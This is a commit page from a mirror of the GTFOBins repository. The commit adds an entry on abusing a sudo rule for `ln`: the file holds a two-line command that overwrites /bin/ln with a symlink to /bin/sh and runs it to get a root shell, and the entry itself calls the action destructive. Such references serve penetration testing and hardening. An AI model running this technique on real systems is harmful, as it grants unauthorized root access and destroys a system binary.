1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add ln sudo

This commit is contained in:
ARZ 2021-07-15 17:23:51 +05:00 committed by GitHub
parent ee3eb38ee4
commit fcde0d9160
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

8
_gtfobins/ln.md Normal file

@ -0,0 +1,8 @@
---
description: This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.
functions:
sudo:
- code: |
sudo ln -fs /bin/sh /bin/ln
sudo ln
---